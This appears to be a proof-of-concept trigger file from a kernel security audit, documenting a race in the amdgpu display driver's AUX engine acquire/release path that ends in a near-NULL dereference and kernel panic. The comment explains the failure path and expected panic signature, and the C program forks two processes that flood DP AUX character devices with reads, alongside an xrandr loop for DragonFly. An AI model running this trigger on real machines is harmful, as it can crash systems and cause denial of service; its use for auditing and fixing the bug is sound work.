/*
 * DF-4555 trigger — conceptual, hardware-gated.
 *
 * On a machine with an AMD GPU (amdgpu DC) + DisplayPort sink, force
 * concurrent AUX traffic so that two kernel threads contend for the same
 * aux engine / DDC GPIO pins at acquire() time. The loser thread must
 * hit one of the three failure exits in dce_aux.c acquire()
 * (is_engine_available / dal_ddc_open / acquire_engine), after which
 * dc_link_aux_transfer() still calls release_engine() ->
 * dal_ddc_close(NULL) -> near-NULL read -> panic.
 *
 * Concurrency sources that funnel into dc_link_aux_transfer():
 *   - MST sideband traffic (amdgpu_dm_mst_types.c dm_dp_aux_transfer)
 *   - link-training DPCD reads/writes (dm_helpers_dp_*)
 *   - EDID (re)reads on hotplug
 *
 * This program drives two concurrent DP AUX read streams from user space
 * using the drm_dp_aux character device. NOTE: on DragonFly the chardev is
 * compiled out (drm_dp_aux_dev.c is #if 0), so on DragonFly the same
 * contention is instead produced by hotplug/retrain events — e.g. run this
 * while replugging a DP sink or flapping HPD with a marginal dongle:
 *
 *	while :; do xrandr --query >/dev/null; done &   # retrains/EDID storms
 *
 * Expected panic signature on an affected system:
 *	fatal fault (offset of struct ddc::pin_clock, virtual addr ~0x10)
 *	in dal_gpio_close+0x ... called from dal_ddc_close ... release_engine ...
 *
 * This file is documentation of the trigger; it cannot reproduce anything
 * on the audit guest (no AMD GPU present — see ../env.txt).
 */
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

int main(void)
{
#ifdef __linux__
	char buf[16];
	int fd1 = open("/dev/drm_dp_aux0", O_RDWR);
	int fd2 = open("/dev/drm_dp_aux1", O_RDWR);
	/* two threads, pread DPCD 0x00000 in a tight loop -> engine contention */
	if (fd1 < 0 || fd2 < 0) { perror("open /dev/drm_dp_auxN"); return 1; }
	if (fork() == 0) {
		for (;;) pread(fd2, buf, sizeof(buf), 0x00000);
	}
	for (;;) pread(fd1, buf, sizeof(buf), 0x00000);
#else
	fprintf(stderr, "DF-4555: hardware-gated trigger; see VERDICT.md "
			"(DragonFly has no dp_aux chardev; use HPD/retrain "
			"contention on an AMD GPU host)\n");
	return 1;
#endif
}
